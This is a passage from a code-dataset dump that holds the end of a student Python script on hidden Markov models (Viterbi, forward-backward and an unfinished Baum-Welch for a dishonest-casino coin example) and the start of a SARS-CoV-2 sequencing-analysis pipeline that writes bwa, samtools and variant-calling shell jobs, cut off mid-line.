0, 0] # p of most probable path ending in each state, if it ends now\n a_kl = np.array([ [0, a_0k[0], a_0k[1]], [0, 1-a[0], a[0]], [0, a[1], 1-a[1]] ]) # [ [a_00, a_0l, a_0f], [a_l0, a_ll, a_lf], [a_20, a_fl, a_ff] ]\n e_lx = np.array([ [0, 0], [e[0], 1-e[0]], [e[1], 1-e[1]] ]) # [ [e_0(h), e_0(t)], [e_l(h), e_l(t)], [e_f(h), e_f(t)] ]\n # Convert to log space\n v[0,:] = np.log(v[0,:])\n a_kl = np.log(a_kl)\n e_lx = np.log(e_lx)\n # Recursion\n for i in range(1, len(x)+1):\n xi = x[i-1]\n for l in range(v.shape[1]):\n # l is the new state, either 0 (loaded) or 1 (fair). 0 is inaccessible p=0\n e_l = e_lx[l, :]\n v_a_kl = v[i-1,:] + a_kl[:, l]\n v[i, l] = e_l[xi] + np.max( v_a_kl ) # sufficient to max since log is monotonous\n pi[i-1] = np.argmax( v_a_kl ) - 1 # remove the extra state\n # Termination\n p_xpi = np.exp(np.max(v[-1,:]))\n # Traceback\n return pi\n\ndef forward(x, e, a, a_0k):\n ''' \n Given a sequence x, calculate its probability p(x).\n Perform calculations in log space\n\n Avoiding underflow: http://wittawat.com/posts/log-sum_exp_underflow.html\n '''\n # Initialization\n f = np.zeros((len(x)+1, 3)) # p of most probable path ending in each state, if it ends now\n # 0 l f\n f[0, :] = [1, 0, 0] \n a_kl = np.array([ [0, a_0k[0], a_0k[1]], [0, 1-a[0], a[0]], [0, a[1], 1-a[1]] ]) # [ [a_00, a_0l, a_0f], [a_l0, a_ll, a_lf], [a_f0, a_fl, a_ff] ]\n e_lx = np.array([ [0, 0], [e[0], 1-e[0]], [e[1], 1-e[1]] ]) # [ [e_0(h), e_0(t)], [e_l(h), e_l(t)], [e_f(h), e_f(t)] ]\n # Convert to log space\n f[0,:] = np.log(f[0,:])\n a_kl = np.log(a_kl)\n e_lx = np.log(e_lx)\n # Recursion\n for i in range(1, len(x)+1):\n xi = x[i-1]\n for l in range(f.shape[1]):\n # l is the new state, either 0 (loaded) or 1 (fair). 0 is inaccessible p=0\n e_l = e_lx[l, :]\n f_a_kl = f[i-1,:] + a_kl[:, l]\n c = np.max(f_a_kl)\n fa_sum = c + np.log(np.sum(np.exp( f_a_kl - c)))\n # print( a_kl[l, :])\n if e_l[xi] == -np.inf or fa_sum == -np.inf :\n f[i, l] = -np.inf\n else:\n f[i, l] = e_l[xi] + fa_sum\n # Termination\n a_k0 = np.array([0, 0.5, 0.5])\n p_x = np.sum( np.exp(f[-1,:]) * a_k0 )\n # p_x = np.sum(np.exp( f[-1, :] ))\n print(p_x)\n # Unlog\n f = np.exp(f)\n return p_x, f\n\n\ndef backwards(x, e, a, a_0k):\n ''' \n Given a sequence x, calculate b in order to calculate the probability that \n the HMM is in state k at char i p( pi_i = k | x ).\n Perform calculations in log space\n '''\n # Initialization\n b = np.zeros((len(x)+1, 3)) \n # 0 l f\n b[-1, :] = [0, 0.5, 0.5] # bk(L) = a_k0, i.e.prob to go to ending state\n a_kl = np.array([ [0, a_0k[0], a_0k[1]], [0, 1-a[0], a[0]], [0, a[1], 1-a[1]] ]) # [ [a_00, a_0l, a_0f], [a_l0, a_ll, a_lf], [a_f0, a_fl, a_ff] ]\n e_lx = np.array([ [0, 0], [e[0], 1-e[0]], [e[1], 1-e[1]] ]) # [ [e_0(h), e_0(t)], [e_l(h), e_l(t)], [e_f(h), e_f(t)] ]\n # Convert to log space\n b[0,:] = np.log(b[0,:])\n a_kl = np.log(a_kl)\n e_lx = np.log(e_lx)\n # Recursion\n for i in reversed(range(0, b.shape[0]-1)):\n xi = x[i]\n for l in range(b.shape[1]):\n # l is the new state, either 0 (loaded) or 1 (fair). 0 is inaccessible p=0\n e_l = e_lx[l, :]\n b_a_kl = b[i+1,:] + a_kl[:, l]\n c = np.max(b_a_kl)\n ba_sum = c + np.log(np.sum(np.exp( b_a_kl - c)))\n # print( a_kl[l, :])\n if e_l[xi] == -np.inf or ba_sum == -np.inf:\n b[i, l] = -np.inf\n else:\n b[i, l] = e_l[xi] + ba_sum\n # Termination\n x1 = x[0] # stupid algorithm count from 1 >.<\n a_0l = np.array( [0, a_0k[0], a_0k[1]] )\n p_x = 0\n for l in range(b.shape[1]):\n e_l = e_lx[l, :]\n p_x += a_0l[l] * np.exp( e_l[x1] + b[0,l] ) \n print(p_x)\n # Unlog\n b = np.exp(b)\n return p_x, b\n\n\ndef baum_welch(X):\n '''\n Compute estimates for all HMM model parameters using EM algorithm.\n X is a matrix containing all {x^j}\n '''\n # Intialisation - random model parameters\n a = np.array( [np.random.random_sample(), np.random.random_sample()] )\n e = np.array( [np.random.random_sample(), np.random.random_sample()] )\n a_0l = np.random.random_sample()\n a_0k = [0, a_0l, 1-a_0l]\n # Recurrence - Iterate until convergence\n for s in range(1):\n print(f'---------- Iteration {s} ----------')\n A = np.zeros((3,3)) # Expectation values of the various transitions - size k x l\n E = np.zeros((3,2))\n\n a_kl = np.array([ [0, a_0k[0], a_0k[1]], [0, 1-a[0], a[0]], [0, a[1], 1-a[1]] ]) # [ [a_00, a_0l, a_0f], [a_l0, a_ll, a_lf], [a_f0, a_fl, a_ff] ]\n e_lx = np.array([ [0, 0], [e[0], 1-e[0]], [e[1], 1-e[1]] ])\n for j in range(X.shape[0]):\n # Get f and b\n x_j = X[j,:]\n p_xf, f = forward(x, e, a, a_0k)\n p_xb, b = backwards(x, e, a, a_0k)\n \n # Log parameters\n a_kl = np.log(a_kl)\n e_lx = np.log(e_lx)\n f = np.log(f)\n b = np.log(b)\n p_xf = np.log(p_xf)\n p_xb = np.log(p_xb)\n for k in range(A.shape[0]):\n # Estimate A\n for l in range(A.shape[0]):\n e_l = e_lx[l, :]\n for i in range(len(x)-1):\n e_lxi1 = e_l[x_j[i+1]]\n fb_sum = f[i,k] + b[i+1, l] - p_xf\n print(f[i,k])\n if e_lxi1 == -np.inf or fb_sum == -np.inf :\n A[k, l] = np.exp( -np.inf )\n else:\n A[k,l] += np.exp( e_lxi1 + fb_sum )\n # Estimate E\n for s in range(1):\n s = int(s)\n # Find all s=h or s=f\n x_idx = np.where(x == s)[0]\n for i in x_idx:\n E[k, s] += np.exp( f[i,k] + b[i,k] - p_xf)\n # Calculate new parameter estimates - MLE estimation\n a_kl = np.zeros((3,3))\n e_kb = np.zeros((3,2))\n for k in range(3):\n for l in range(3):\n a_kl[k,l] = A[k,l] / np.sum( A[k,:] )\n for s in range(1):\n s = int(s)\n e_kb[k,s] = E[k,s] / np.sum( E[k,:] )\n # Normalize to probabilities\n a_kl[k,:] /= np.sum( a_kl[k,:] ) # sum_l a_kl = 1, must go somewhere\n e_kb[k,:] /= np.sum( e_kb[k,:] )\n \n print(a_kl)\n \n a = np.array( [a_kl[1,2], a_kl[2,1]] )\n e = np.array( [e_kb[1,0], e_kb[2,0]] )\n a_0k = [0, a_kl[0,1], a_kl[0,2]]\n # Calculate Likelihood of model\n return None\n\n\n# Generate sequence of coin tosses\nL = 300\nx, pi, e, a, a_0k = casino(L)\n\n# Obtain most probable state sequence - Viterbi algorithm\npi_m = viterbi(x, e, a, a_0k)\n\n\n# Obtain probability of sequence - Forward algorithm\np_xf, f = forward(x, e, a, a_0k)\n\n# Obtain probability of state for xi - Backwards algorithm\np_xb, b = backwards(x, e, a, a_0k)\np_pii = f * b / p_xb\n# Error somewhere, rescale p_pii so sums to 1\n# p_pii /= np.sum(p_pii[1,:])\n\n# HMM Parameter Estimation - Baum-Welch\ns = baum_welch(np.array([x]))\n\n\n# Print results\nprint()\nprint('--------- Results ---------')\nprint(f'**** Viterbi accuracy: {(np.sum(pi_m == pi) / L):.2f}')\nprint(f'**** Forward: P(x): {p_xf}')\nprint(f'**** Backward: P(pi_100 = k | x): {p_pii[1,:]}')\n\n# Plot\nfig, ax = plt.subplots(figsize=(8,6))\n\nax.plot(pi, c='k', linestyle='--', linewidth=1, label=r'$\\pi$, True sequence')\nax.plot(pi_m[1:], c='C1', linewidth=2, alpha=0.7, label=r'$\\pi^*$, Viterbi')\n\nax.plot(p_pii[:,1], c='r', linestyle=':', linewidth=3, alpha=0.7, label=r'$p(x, \\pi_i=l)$, Posterior')\nax.plot(p_pii[:,2], c='c', linestyle=':', linewidth=2, alpha=0.7, label=r'$p(x, \\pi_i=f)$, Posterior')\n\nax.grid()\nax.legend(loc='lower left')\nax.set_title('The Dishonest casino')\nax.set_xlabel(r'$i$')\nax.set_ylabel(r'Heads/tails')\nplt.tight_layout()\nplt.savefig(f'viterbi_L={L}.png')\n# plt.show()","sub_path":"SNU/machine_learning_in_bioinformatics/practice/dishonest_casino/hmm_coin_practice.py","file_name":"hmm_coin_practice.py","file_ext":"py","file_size_in_byte":10793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"562648677","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\nimport os\r\nimport re\r\nimport getopt\r\nimport configparser\r\nimport json\r\nfrom subprocess import check_call\r\nfrom collections import defaultdict\r\n\r\ndef usage():\r\n\t\"\"\"Main program of SARS-CoV-2 panel analysis pipeline.\r\n\tUsage: Main_SARS-CoV-2.py -i \r\n\t-i\tConfig json file\r\n\t-h\tHelp information\r\n\t-s\tSubmit model [local/qsubsge]\r\n\t\"\"\"\r\n\tprint(usage.__doc__)\r\n\treturn\r\n\r\ndef create_dirs(*dirname):\r\n\tfor each in dirname:\r\n\t\tif not os.path.exists(each):\r\n\t\t\tos.system(\"mkdir -p %s\" % each)\r\n\treturn\r\n\r\ndef fqtype_error():\r\n\tprint('FqType is not valid,use SE/PE.')\r\n\tsys.exit(1)\r\n\treturn\r\n\r\ndef GenerateData(script,sample_dict,fqtype):\r\n\tfor key, value in sample_dict.items():\r\n\t\tsample = key\r\n\t\tbarcode_dir = result_dir + '/' + sample\r\n\t\tClean_dir = barcode_dir + '/01.Clean'\r\n\t\tcreate_dirs(Clean_dir)\r\n\t\tif len(value) == 1:\r\n\t\t\tfor k, v in value.items():\r\n\t\t\t\tbarcode = k\r\n\t\t\t\traw_path = v\r\n\t\t\t\tif fqtype == 'SE':\r\n\t\t\t\t\trawfq = 'Raw_' + sample + '.fq.gz'\r\n\t\t\t\t\tscript.write(\"ln -s %(raw_path)s/*_%(barcode)s.fq.gz %(Clean_dir)s/%(rawfq)s\\n\"%{'raw_path':raw_path,'barcode':barcode,'Clean_dir':Clean_dir,'rawfq':rawfq})\r\n\t\t\t\telif fqtype == 'PE':\r\n\t\t\t\t\trawfq1 = 'Raw_' + sample + '_1.fq.gz'\r\n\t\t\t\t\trawfq2 = 'Raw_' + sample + '_2.fq.gz'\r\n\t\t\t\t\tscript.write(\"ln -s %(raw_path)s/*_%(barcode)s_1.fq.gz %(Clean_dir)s/%(rawfq1)s\\nln -s %(raw_path)s/*_%(barcode)s_2.fq.gz %(Clean_dir)s/%(rawfq2)s\\n\"%{'raw_path':raw_path,'barcode':barcode,'Clean_dir':Clean_dir,'rawfq1':rawfq1,'rawfq2':rawfq2})\r\n\t\t\t\telse:\r\n\t\t\t\t\tfqtype_error()\r\n\t\telse:\r\n\t\t\tif fqtype == 'SE':\r\n\t\t\t\trawfq = 'Raw_' + sample + '.fq.gz'\r\n\t\t\t\tcmd = 'cat '\r\n\t\t\t\tfor k, v in value.items():\r\n\t\t\t\t\tbarcode = k\r\n\t\t\t\t\traw_path = v\r\n\t\t\t\t\tcmd += '%s/*%s.fq.gz '%(raw_path,barcode)\r\n\t\t\t\tcmd += '> %s/%s\\n'%(Clean_dir,rawfq)\r\n\t\t\t\tscript.write(cmd)\r\n\t\t\telif fqtype == 'PE':\r\n\t\t\t\trawfq1 = 'Raw_' + sample + '_1.fq.gz'\r\n\t\t\t\trawfq2 = 'Raw_' + sample + '_2.fq.gz'\r\n\t\t\t\tcmd1 = 'cat '\r\n\t\t\t\tcmd2 = 'cat '\r\n\t\t\t\tfor k, v in value.items():\r\n\t\t\t\t\tbarcode = k\r\n\t\t\t\t\traw_path = v\r\n\t\t\t\t\tcmd1 += '%s/*%s_1.fq.gz '%(raw_path,barcode)\r\n\t\t\t\t\tcmd2 += '%s/*%s_2.fq.gz '%(raw_path,barcode)\r\n\t\t\t\tcmd1 += '> %s/%s\\n'%(Clean_dir,rawfq1)\r\n\t\t\t\tcmd2 += '> %s/%s\\n'%(Clean_dir,rawfq2)\r\n\t\t\t\tscript.write(cmd1)\r\n\t\t\t\tscript.write(cmd2)\r\n\t\t\telse:\r\n\t\t\t\tfqtype_error()\r\n\treturn\r\n\r\ndef CleanData(script,sample,fqtype,SplitData):\r\n\tbarcode_dir = result_dir + '/' + sample\r\n\tClean_dir = barcode_dir + '/01.Clean'\r\n\tcreate_dirs(Clean_dir)\r\n\tif fqtype == 'SE':\r\n\t\t#rawfq = raw_data_path + '/*' + barcode + '.fq.gz'\r\n\t\trawfq = Clean_dir + '/Raw_' + sample + '.fq.gz'\r\n\t\t#cleanfq = Clean_dir + '/Clean_' + sample + '.fq.gz'\r\n\t\tcleanfq = 'Clean_' + sample + '.fq.gz'\r\n\r\n\t\tif SplitData:\r\n\t\t\tt_dict = {'G':10**9,'M':10**6,'K':10**3}\r\n\t\t\tSplitData_n = float(SplitData.strip()[0:-1])*t_dict[SplitData.strip()[-1]]\r\n\t\t\tsplitfq = Clean_dir + '/Split_' + sample + '.fq'\r\n\t\t\tscript.write(\"%(seqtk)s sample -s100 %(rawfq)s %(SplitData_n)s > %(splitfq)s && gzip -f %(splitfq)s && \"\\\r\n\t\t\t\t%{'seqtk':seqtk,'rawfq':rawfq,'splitfq':splitfq,'SplitData_n':SplitData_n})\r\n\t\t\t#script.write(\"%(SOAPnuke)s filter -l 10 -q 0.2 -n 0.05 -Q 2 -G -T 1 -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA -1 %(splitfq)s.gz -C %(cleanfq)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\tscript.write(\"%(SOAPnuke)s filter %(SOAPnuke_param)s -1 %(splitfq)s.gz -C %(cleanfq)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\t\t%{'SOAPnuke':SOAPnuke,'SOAPnuke_param':SOAPnuke_param,'splitfq':splitfq,'cleanfq':cleanfq,'Clean_dir':Clean_dir})\r\n\t\telse:\r\n\t\t\t#script.write(\"%(SOAPnuke)s filter -l 10 -q 0.2 -n 0.05 -Q 2 -G -T 1 -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA -1 %(rawfq)s -C %(cleanfq)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\tscript.write(\"%(SOAPnuke)s filter %(SOAPnuke_param)s -1 %(rawfq)s -C %(cleanfq)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\t\t%{'SOAPnuke':SOAPnuke,'SOAPnuke_param':SOAPnuke_param,'rawfq':rawfq,'cleanfq':cleanfq,'Clean_dir':Clean_dir})\r\n\telif fqtype == 'PE':\r\n\t\t#rawfq1 = raw_data_path + '/*' + barcode + '_1.fq.gz'\r\n\t\t#rawfq2 = raw_data_path + '/*' + barcode + '_2.fq.gz'\r\n\t\trawfq1 = Clean_dir + '/Raw_' + sample + '_1.fq.gz'\r\n\t\trawfq2 = Clean_dir + '/Raw_' + sample + '_2.fq.gz'\r\n\t\t#cleanfq1 = Clean_dir + '/Clean_' + sample + '_1.fq.gz'\r\n\t\t#cleanfq2 = Clean_dir + '/Clean_' + sample + '_2.fq.gz'\r\n\t\tcleanfq1 = 'Clean_' + sample + '_1.fq.gz'\r\n\t\tcleanfq2 = 'Clean_' + sample + '_2.fq.gz'\r\n\r\n\t\tif SplitData:\r\n\t\t\tt_dict = {'G':10**9,'M':10**6,'K':10**3}\r\n\t\t\tSplitData_n = float(SplitData.strip()[0:-1])*t_dict[SplitData.strip()[-1]]/2\r\n\t\t\tsplitfq1 = Clean_dir + '/Split_' + sample + '_1.fq'\r\n\t\t\tsplitfq2 = Clean_dir + '/Split_' + sample + '_2.fq'\r\n\t\t\tscript.write(\"%(seqtk)s sample -s100 %(rawfq1)s %(SplitData_n)s > %(splitfq1)s && gzip -f %(splitfq1)s && %(seqtk)s sample -s100 %(rawfq2)s %(SplitData_n)s > %(splitfq2)s && gzip -f %(splitfq2)s && \"\\\r\n\t\t\t\t%{'seqtk':seqtk,'rawfq1':rawfq1,'rawfq2':rawfq2,'splitfq1':splitfq1,'splitfq2':splitfq2,'SplitData_n':SplitData_n})\r\n\t\t\t#script.write(\"%(SOAPnuke)s filter -l 10 -q 0.2 -n 0.05 -Q 2 -G -T 1 -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA -r AAGTCGGATCGTAGCCATGTCGTTCTGTGAGCCAAGGAGTTG -1 %(splitfq1)s.gz -2 %(splitfq2)s.gz -C %(cleanfq1)s -D %(cleanfq2)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\tscript.write(\"%(SOAPnuke)s filter %(SOAPnuke_param)s -1 %(splitfq1)s.gz -2 %(splitfq2)s.gz -C %(cleanfq1)s -D %(cleanfq2)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\t\t%{'SOAPnuke':SOAPnuke,'SOAPnuke_param':SOAPnuke_param,'splitfq1':splitfq1,'splitfq2':splitfq2,'cleanfq1':cleanfq1,'cleanfq2':cleanfq2,'Clean_dir':Clean_dir})\r\n\t\telse:\r\n\t\t\t#script.write(\"%(SOAPnuke)s filter -l 10 -q 0.2 -n 0.05 -Q 2 -G -T 1 -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA -r AAGTCGGATCGTAGCCATGTCGTTCTGTGAGCCAAGGAGTTG -1 %(rawfq1)s -2 %(rawfq2)s -C %(cleanfq1)s -D %(cleanfq2)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\tscript.write(\"%(SOAPnuke)s filter %(SOAPnuke_param)s -1 %(rawfq1)s -2 %(rawfq2)s -C %(cleanfq1)s -D %(cleanfq2)s -o %(Clean_dir)s \\n\"\\\r\n\t\t\t%{'SOAPnuke':SOAPnuke,'SOAPnuke_param':SOAPnuke_param,'rawfq1':rawfq1,'rawfq2':rawfq2,'cleanfq1':cleanfq1,'cleanfq2':cleanfq2,'Clean_dir':Clean_dir})\r\n\telse:\r\n\t\tfqtype_error()\r\n\treturn\r\n\r\ndef bwaaln(script,barcode,fqtype,read_len):\r\n\tbarcode_dir = result_dir + '/' + barcode\r\n\tClean_dir = barcode_dir + '/01.Clean'\r\n\tAlign_dir = barcode_dir + '/02.Align'\r\n\tcreate_dirs(Align_dir)\r\n\tseed_len = str(int(int(read_len)*0.9))\r\n\tmax_diff_seed = int(int(seed_len)/16)\r\n\tif fqtype == 'SE':\r\n\t\tcleanfq = Clean_dir + '/Clean_' + barcode + '.fq.gz'\r\n\t\tscript.write(\"%(bwa)s aln -l %(seed_len)s -k %(max_diff_seed)s -t 3 -f %(Align_dir)s/%(barcode)s.sai %(database)s/nCoV.fa %(cleanfq)s && %(bwa)s samse -r \\\"@RG\\\\tID:PE100\\\\tPL:MGISEQ\\\\tPU:PE100\\\\tLB:mutPCR\\\\tSM:%(barcode)s\\\\tCN:BGI\\\" %(database)s/nCoV.fa %(Align_dir)s/%(barcode)s.sai %(cleanfq)s | %(samtools)s view -b - | %(samtools)s sort -T %(Align_dir)s/%(barcode)s.sort -o %(Align_dir)s/%(barcode)s.sort.bam - && rm %(Align_dir)s/%(barcode)s.sai\\n\" \\\r\n\t\t\t%{'bwa':bwa,'samtools':samtools,'database':database,'cleanfq':cleanfq,'Align_dir':Align_dir,'barcode':barcode,'seed_len':seed_len,'max_diff_seed':max_diff_seed})\r\n\t\tscript.write(\"%(samtools)s index %(Align_dir)s/%(barcode)s.sort.bam \\n\" %{'samtools':samtools,'Align_dir':Align_dir,'barcode':barcode})\r\n\telif fqtype == 'PE':\r\n\t\tcleanfq1 = Clean_dir + '/Clean_' + barcode + '_1.fq.gz'\r\n\t\tcleanfq2 = Clean_dir + '/Clean_' + barcode + '_2.fq.gz'\r\n\t\tscript.write(\"%(bwa)s aln -l %(seed_len)s -k %(max_diff_seed)s -t 3 -f %(Align_dir)s/%(barcode)s_1.sai %(database)s/nCoV.fa %(cleanfq1)s && %(bwa)s aln -l %(seed_len)s -k %(max_diff_seed)s -t 3 -f %(Align_dir)s/%(barcode)s_2.sai %(database)s/nCoV.fa %(cleanfq2)s && %(bwa)s sampe -a 1000 -r \\\"@RG\\\\tID:PE100\\\\tPL:MGISEQ\\\\tPU:PE100\\\\tLB:mutPCR\\\\tSM:%(barcode)s\\\\tCN:BGI\\\" %(database)s/nCoV.fa %(Align_dir)s/%(barcode)s_1.sai %(Align_dir)s/%(barcode)s_2.sai %(cleanfq1)s %(cleanfq2)s | %(samtools)s view -b - | %(samtools)s sort -T %(Align_dir)s/%(barcode)s.sort -o %(Align_dir)s/%(barcode)s.sort.bam - && rm %(Align_dir)s/%(barcode)s_1.sai %(Align_dir)s/%(barcode)s_2.sai\\n\" \\\r\n\t\t\t%{'bwa':bwa,'samtools':samtools,'database':database,'cleanfq1':cleanfq1,'cleanfq2':cleanfq2,'Align_dir':Align_dir,'barcode':barcode,'seed_len':seed_len,'max_diff_seed':max_diff_seed})\r\n\t\tscript.write(\"%(samtools)s index %(Align_dir)s/%(barcode)s.sort.bam \\n\" %{'samtools':samtools,'Align_dir':Align_dir,'barcode':barcode})\r\n\treturn\r\n\r\ndef bwamem(script,barcode,fqtype):\r\n\tbarcode_dir = result_dir + '/' + barcode\r\n\tClean_dir = barcode_dir + '/01.Clean'\r\n\tAlign_dir = barcode_dir + '/02.Align'\r\n\tcreate_dirs(Align_dir)\r\n\tif fqtype == 'SE':\r\n\t\tcleanfq = Clean_dir + '/Clean_' + barcode + '.fq.gz'\r\n\t\tscript.write(\"%(bwa)s mem -M -R \\\"@RG\\\\tID:%(barcode)s\\\\tPL:MGISEQ\\\\tLB:mutPCR\\\\tSM:%(barcode)s\\\" -t 1 %(database)s/nCoV.fa %(cleanfq)s | %(samtools)s view -b - | %(samtools)s sort -T %(Align_dir)s/%(barcode)s.sort -o %(Align_dir)s/%(barcode)s.sort.bam -\\n\"\\\r\n\t\t\t%{'bwa':bwa,'samtools':samtools,'database':database,'cleanfq':cleanfq,'Align_dir':Align_dir,'barcode':barcode})\r\n\t\tscript.write(\"%(samtools)s index %(Align_dir)s/%(barcode)s.sort.bam \\n\" %{'samtools':samtools,'Align_dir':Align_dir,'barcode':barcode})\r\n\telif fqtype == 'PE':\r\n\t\tcleanfq1 = Clean_dir + '/Clean_' + barcode + '_1.fq.gz'\r\n\t\tcleanfq2 = Clean_dir + '/Clean_' + barcode + '_2.fq.gz'\r\n\t\tscript.write(\"%(bwa)s mem -M -R \\\"@RG\\\\tID:%(barcode)s\\\\tPL:MGISEQ\\\\tLB:mutPCR\\\\tSM:%(barcode)s\\\" -t 1 %(database)s/nCoV.fa %(cleanfq1)s %(cleanfq2)s | %(samtools)s view -b - | %(samtools)s sort -T %(Align_dir)s/%(barcode)s.sort -o %(Align_dir)s/%(barcode)s.sort.bam -\\n\"\\\r\n\t\t\t%{'bwa':bwa,'samtools':samtools,'database':database,'cleanfq1':cleanfq1,'cleanfq2':cleanfq2,'Align_dir':Align_dir,'barcode':barcode})\r\n\t\tscript.write(\"%(samtools)s index %(Align_dir)s/%(barcode)s.sort.bam \\n\" %{'samtools':samtools,'Align_dir':Align_dir,'barcode':barcode})\r\n\telse:\r\n\t\tfqtype_error()\r\n\treturn\r\n\r\ndef CovDep(script,barcode):\r\n\tbarcode_dir = result_dir + '/' + barcode\r\n\tAlign_dir = barcode_dir + '/02.Align'\r\n\tcovdep_dir = barcode_dir + '/03.covdep'\r\n\tlambda_covdep_dir = covdep_dir + '/lambda_cov'\r\n\tGAPDH_covdep_dir = covdep_dir + '/GAPDH_cov'\r\n\tcreate_dirs(covdep_dir,lambda_covdep_dir,GAPDH_covdep_dir)\r\n\t## bamqc with all map bam\r\n\tscript.write(\"%(bamdst)s --cutoffdepth 1 --maxdepth 1000000 -q 1 -p %(virusbed)s -o %(covdep_dir)s %(Align_dir)s/%(barcode)s.sort.bam \\n\"\\\r\n\t\t%{'bamdst':bamdst,'virusbed':virusbed,'covdep_dir':covdep_dir,'Align_dir':Align_dir,'barcode':barcode})\r\n\tscript.write(\"%(bamdst)s --cutoffdepth 1 --maxdepth 1000000 -q 1 -p %(lambdabed)s -o %(covdep_dir)s/lambda_cov %(Align_dir)s/%(barcode)s.sort.bam \\n\"\\\r\n\t\t%{'bamdst':bamdst,'lambdabed':lambdabed,'covdep_dir':covdep_dir,'Align_dir':Align_dir,'barcode':barcode})\r\n\tscript.write(\"%(bamdst)s --cutoffdepth 1 --maxdepth 1000000 -q 1 -p %(GAPDH_bed)s -o %(covdep_dir)s/GAPDH_cov %(Align_dir)s/%(barcode)s.sort.bam \\n\"\\\r\n\t\t%{'bamdst':bamdst,'GAPDH_bed':GAPDH_bed,'covdep_dir':covdep_dir,'Align_dir':Align_dir,'barcode':barcode})\r\n\treturn\r\n\r\ndef Statistics(script,fqtype):\r\n\tif fqtype == 'PE':\r\n\t\tscript.write(\"export PYTHONPATH=%(python3_lib)s:$PYTHONPATH && %(python3)s %(bin)s/CoV_stat.py -t PE -d %(result_dir)s -l %(barcode_file)s\\n\"\\\r\n\t\t\t%{'bin':bin,'result_dir':result_dir,'barcode_file':barcode_file,'python3':python3,'python3_lib':python3_lib})\r\n\telif fqtype == 'SE':\r\n\t\tscript.write(\"export PYTHONPATH=%(python3_lib)s:$PYTHONPATH && %(python3)s %(bin)s/CoV_stat.py -t SE -d %(result_dir)s -l %(barcode_file)s\\n\"\\\r\n\t\t\t%{'bin':bin,'result_dir':result_dir,'barcode_file':barcode_file,'python3':python3,'python3_lib':python3_lib})\r\n\treturn\r\n\r\ndef CutPrimer(script,fqtype_p,sample):\r\n\tsample_dir = result_dir + '/' + sample\r\n\tAlign_dir = sample_dir + '/02.Align'\r\n\tCutPrimer_dir = sample_dir + '/04.CutPrimer'\r\n\tcreate_dirs(CutPrimer_dir)\r\n\tscript.write(\"export PYTHONPATH=%(python3_lib)s:$PYTHONPATH && %(python3)s %(bin)s/Cut_Multi_Primer.py -p %(primer_list)s -b %(Align_dir)s/%(sample)s.sort.bam -s %(sample)s -o %(CutPrimer_dir)s && %(samtools)s index %(CutPrimer_dir)s/%(sample)s.bam\\n\"\\\r\n\t\t%{'bin':bin,'primer_list':primer_list,'Align_dir':Align_dir,'sample':sample,'CutPrimer_dir':CutPrimer_dir,'lib':lib,'python3':python3,'fqtype_p':fqtype_p,'python3_lib':python3_lib,'samtools':samtools})\r\n\treturn\r\n\r\ndef AlignVariant(script,fqtype,cutprimer_list,consensus_depth):\r\n\twith open(cutprimer_list,'r') as fi:\r\n\t\tfor line in fi:\r\n\t\t\ti = line.split()\r\n\t\t\tsample = i[0]\r\n\t\t\tif fqtype == 'PE':\r\n\t\t\t\tfq1 = i[1]\r\n\t\t\t\tfq2 = i[2]\r\n\t\t\telif fqtype == 'SE':\r\n\t\t\t\tfq = i[1]\r\n\t\t\tsample_dir = result_dir + '/' + sample\r\n\t\t\tAlign_dir = sample_dir + '/02.Align'\r\n\t\t\tCutPrimer_dir = sample_dir + '/04.CutPrimer'\r\n\t\t\tStat_dir = sample_dir + '/05.Stat'\r\n\t\t\tcreate_dirs(Stat_dir)\r\n\t\t\tscript.write(\"%(mosdepth)s -n --fast-mode -c MN908947.3 --by 100 %(Stat_dir)s/depth %(CutPrimer_dir)s/%(sample)s.bam\\n\"%{'mosdepth':mosdepth,'Stat_dir':Stat_dir,'sample':sample,'CutPrimer_dir':CutPrimer_dir})\r\n\t\t\tscript.write(\"zcat %(Stat_dir)s/depth.regions.bed.gz|awk '{print NR\\\"\\\\t\\\"log($4+1)/log(10)}' > %(Stat_dir)s/%(sample)s.draw.depth\\n\"%{'Stat_dir':Stat_dir,'sample':sample})\r\n\t\t\tscript.write(\"%(samtools)s depth -d 100000000 -a -b %(variantbed)s %(CutPrimer_dir)s/%(sample)s.bam > %(Stat_dir)s/%(sample)s.depth\\n\"%{'samtools':samtools,'variantbed':variantbed,'sample':sample,'Stat_dir':Stat_dir,'CutPrimer_dir':CutPrimer_dir})\r\n\t\t\tscript.write(\"export R_LIBS=%(R_lib)s:$R_LIBS && %(Rscript)s %(bin)s/line.depth.R %(Stat_dir)s/%(sample)s.draw.depth %(Stat_dir)s/Windows.Depth.svg\\n\"%{'Rscript':Rscript,'bin':bin,'Stat_dir':Stat_dir,'R_lib':R_lib,'sample':sample})\r\n\t\t\tscript.write(\"%(freebayes)s -t %(virusbed)s %(freebayes_param)s -f %(ref)s %(CutPrimer_dir)s/%(sample)s.bam > %(Stat_dir)s/%(sample)s.raw.vcf && %(bcftools)s norm -f %(ref)s %(Stat_dir)s/%(sample)s.raw.vcf -o %(Stat_dir)s/%(sample)s.vcf\\n%(bgzip)s -f %(Stat_dir)s/%(sample)s.vcf\\n%(tabix)s %(Stat_dir)s/%(sample)s.vcf.gz\\n%(java)s -jar %(bin)s/snpEff/snpEff.jar MN908947.3 %(Stat_dir)s/%(sample)s.vcf.gz > %(Stat_dir)s/%(sample)s.snpEff.vcf\\nexport PYTHONPATH=%(python3_lib)s:$PYTHONPATH && %(python3)s %(bin)s/get_anno_table.py %(Stat_dir)s/%(sample)s.snpEff.vcf %(Stat_dir)s 